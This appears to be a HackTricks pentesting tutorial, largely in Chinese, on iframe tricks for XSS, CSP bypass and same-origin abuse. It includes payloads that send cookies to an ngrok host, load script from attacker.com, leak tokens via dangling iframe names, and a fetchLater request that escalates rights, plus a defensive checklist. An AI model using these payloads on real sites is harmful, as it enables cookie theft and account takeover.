Iframes 在 XSS、CSP 和 SOP 中

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks

Iframes 在 XSS 中

有三种方式可以指定被 iframe 嵌入页面的内容:

  • Via src indicating an URL (the URL may be cross origin or same origin)
  • Via src indicating the content using the data: protocol
  • Via srcdoc indicating the content

访问父与子变量

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

如果通过一个 http 服务器(像 python3 -m http.server)访问前面的 html,你会注意到所有脚本都会被执行(因为没有 CSP 阻止它)。parent 无法访问任何 iframe 内的 secret 变量,并且只有 iframes if2 & if3(被视为 same-site)可以在原始窗口中访问该 secret
注意 if4 被视为具有 null origin。

srcdoc 在实际利用中的怪癖

在利用过程中,有两个与 srcdoc 相关的细节容易被忽视:

  • 除非该 frame 被 sandboxed 且没有 allow-same-origin,否则 srcdoc 文档是same-origin with the parent。因此,将攻击者控制的 HTML 注入到 srcdoc 通常等同于赋予其对顶层文档的直接 DOM 访问权限。
  • 虽然文档 URL 是 about:srcdoc,但相对 URLs 会使用嵌入页面的 URL 作为基准进行解析。这意味着像 <script src="/upload/payload.js"></script><img src="/internal/debug"> 这样的 payload 会指向父 origin,而不是 about:srcdoc

实用 payload:

<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>

当你只能控制标记(markup),但知道一个同源路径会返回攻击者控制的 JavaScript、JSONP 或 HTML 且没有严格的 CSP 时,这尤其有用。

带有 CSP 的 Iframes

Tip

请注意,在下面的绕过示例中,被 iframe 的页面的响应不包含任何阻止 JS 执行的 CSP 头。

The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore it’s possible to bypass the CSP of a page with:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

注意 之前的 CSP 仅允许执行内联脚本.\ 但是,只有 if1if2 的脚本会被执行,但只有 if1 能访问父页面的秘密

因此,如果你能将 JS 文件上传到服务器并通过 iframe 加载,即使在 script-src 'none' 的情况下也可以绕过 CSP。这也可能通过滥用 same-site JSONP endpoint来实现。

你可以通过以下场景测试这一点,其中即使在 script-src 'none' 的情况下 cookie 也会被窃取。只需运行应用并用浏览器访问:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

新(2023-2025)CSP 绕过技术(与 iframes 相关)

The research community continues to discover creative ways of abusing iframes to defeat restrictive policies. Below you can find the most notable techniques published during the last few years:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – 当应用反射 HTML 但强 CSP 阻止脚本执行时,仍可以通过注入一个 dangling <iframe name> 属性来 leak 敏感令牌。一旦部分标记被解析,运行在不同 origin 的攻击者脚本会将该 frame 导航到 about:blank 并读取 window.name,其内容现在包含直到下一个引号字符的一切(例如 CSRF token)。由于受害者上下文中没有 JavaScript 运行,该攻击通常能绕过 script-src 'none'。一个最小 PoC 如下:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce reuse via same-origin iframe – CSP nonces 可以被同源文档从 DOM 中读取。如果攻击者能注入或上传一个 same-origin HTML 页面并在 iframe 中加载,子 frame 可以读取 top.document.querySelector('[nonce]').nonce 并生成新的 <script nonce> 元素。这样就把同源 HTML 注入升级为完整的脚本执行,即使在 strict-dynamic 下也能生效(因为该 nonce 已被信任)。下面的 gadget 将标记注入升级为 XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024) – 省略 form-action 指令的页面,其登录表单可能被来自注入的 iframe 或内联 HTML re-targeted,导致密码管理器自动填充并把凭据提交到外部域,即使存在 script-src 'none'。始终在 default-src 的基础上添加 form-action!

Defensive notes (quick checklist)

  1. 始终发送控制二级上下文的所有 CSP 指令(form-action, frame-src, child-src, object-src 等)。
  2. 不要依赖 nonces 是秘密——使用 strict-dynamic 并且 消除注入点。
  3. 当必须嵌入不受信任的文档时,非常小心地 使用 sandbox="allow-scripts allow-same-origin"(如果只需要脚本执行隔离,则可以不使用 allow-same-origin)。
  4. 考虑部署深度防御的 COOP+COEP;新的 <iframe credentialless> 属性(§ below)允许在不破坏第三方嵌入的情况下做到这一点。

其他在野外发现的 Payloads

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

iframe 内的内容可以通过使用 sandbox 属性施加额外的限制。默认情况下不启用该属性,因此没有任何限制。

一旦启用,sandbox 属性会施加多种限制:

  • 内容会被视为来自独立的源。
  • 阻止提交表单的任何尝试。
  • 禁止执行脚本。
  • 禁用对某些 API 的访问。
  • 阻止链接与其他浏览上下文交互。
  • 禁止通过 <embed><object><applet> 或类似标签使用插件。
  • 内容自身无法导航或控制其顶层浏览上下文。
  • 自动触发的功能(如视频播放或表单控件的自动聚焦)会被阻止。

Tip: 现代浏览器支持更细粒度的标志,如 allow-scriptsallow-same-originallow-top-navigation-by-user-activationallow-downloads-without-user-activation 等。根据嵌入应用的最低必要权限组合这些标志。

该属性的值可以为空(sandbox="")以应用上述所有限制。或者,可将其设置为由空格分隔的特定值列表,从而解除 iframe 的某些限制。

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

如果嵌入页面是 same-origin 且你同时授予 allow-scriptsallow-same-origin,那么 sandbox 会成为一个非常薄弱的边界。子页面可以执行 JavaScript、访问 top.document,甚至从它自己的 <iframe> 元素中移除 sandbox 属性:

const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"

In practice, sandbox="allow-scripts allow-same-origin" should be treated as 对攻击者可影响的 same-origin 内容不安全。It is still useful for some third-party embeds, but it is not an isolation boundary against hostile same-origin HTML.

Credentialless iframes

As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.

Since Chrome 110 (February 2023) the feature is enabled by default and the spec is being standardized across browsers under the name anonymous iframe. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:

  • Scripts in different credentialless iframes still share the same top-level origin and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below).
  • Because the network is credential-stripped, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
  • Storage is partitioned by a top-level document nonce: credentialless frames on the same page can share storage with each other, but it is cleared when the top-level document is discarded.
  • Pop-ups spawned from a credentialless iframe get an implicit rel="noopener", breaking some OAuth flows.
  • Browsers are expected to disable autofill/password managers inside credentialless iframes, limiting credential theft via autofill in these contexts.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • 利用示例: Self-XSS + CSRF

在此攻击中,攻击者准备了一个包含两个 iframe 的恶意网页:

  • 一个 iframe 加载受害者页面并带有 credentialless 标志,同时通过 CSRF 触发 XSS(例如在用户的 username 中出现 Self-XSS):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • 另一个 iframe 实际上已登录用户(没有 credentialless 标志)。

然后,通过 XSS 可以访问另一个 iframe,因为它们具有相同的 SOP,例如可以执行以下操作来窃取 cookie:

alert(window.top[1].document.cookie);

fetchLater 攻击

正如 this article 所述,API fetchLater 允许配置稍后执行的请求。攻击者可以滥用它,例如在攻击者会话内让受害者登录(使用 Self-XSS)、调度一个 fetchLater 请求(例如更改当前用户的密码),然后从攻击者会话登出。随后,当受害者登录回自己的会话时,延迟请求会在派发时使用可用的 cookies 执行,将受害者的密码改为攻击者设置的密码。

Operational notes:

  • fetchLater 在 2024 年进入 Chrome origin trial,并在 Chrome 135(2025 年 4 月)中发布,因此在依赖它之前应进行特性检测。
  • 响应对 JavaScript 不可用;一旦延迟请求被发送,响应体/头部将被忽略。
  • CSP 强制执行在延迟请求时使用 connect-src(而不是 script-src)。
  • 请求会在页面卸载时触发或在 activateAfter 到期时触发(以先发生者为准)。
  • 单次最大延迟目前为 299000 ms,因此长时间等待需要重新调度多个延迟请求。

这样即便受害者的 URL 无法在 iframe 中加载(由于 CSP 或其它限制),攻击者仍然可以在受害者的会话中执行请求。

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})

Iframes 在 SOP 中

请查看以下页面:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

参考资料

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks